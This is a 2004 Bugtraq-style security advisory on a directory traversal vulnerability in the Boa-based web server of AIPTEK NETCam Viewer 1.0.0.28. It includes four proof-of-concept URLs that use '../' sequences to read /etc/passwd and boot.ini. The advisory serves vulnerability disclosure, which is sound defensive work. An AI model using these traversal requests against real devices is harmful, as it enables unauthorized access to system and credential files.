AIPTEK NETCam Webserver Directory Traversal Vulnerability

Bugtraq ID:	9456
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 20 2004 12:00AM
Updated:	Jan 20 2004 12:00AM
Credit:	The disclosure of this issue has been credited to Rafel Ivgi The-Insider <[email protected]>.
Vulnerable:	Boa Webserver 0.93.15 + AIPTEK NETCam Viewer 1.0 .0.28 AIPTEK NETCam Viewer 1.0 .0.28
Not Vulnerable:

AIPTEK NETCam Webserver Directory Traversal Vulnerability

It has been reported that the NETCam webserver of NETCam Viewer may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory.

AIPTEK NETCam Viewer versions 1.0.0.28 and prior are reported to be prone to this issue, however, other versions could be affected as well.

**It has been reported that NETCam Viewer employs the Boa web server (0.93.15) and possibly other versions. Therefore, this issue may be related to Boa Webserver File Disclosure Vulnerability (BID 7544) and Boa Webserver 0.94.2.x File Disclosure Vulnerability (BID 1770).

AIPTEK NETCam Webserver Directory Traversal Vulnerability

No exploit is required.

The following proof of concept examples have been provided:

http://www.example.com/../etc/passwd
http://www.example.com/../../etc/passwd
http://www.example.com/../../../boot.ini
http://www.example.com/../../../../boot.ini

AIPTEK NETCam Webserver Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

AIPTEK NETCam Webserver Directory Traversal Vulnerability

References:

• Homepage (AIPTEK)
  
• NETCam webserver Directory traversal bug ("Rafel Ivgi, The-Insider" )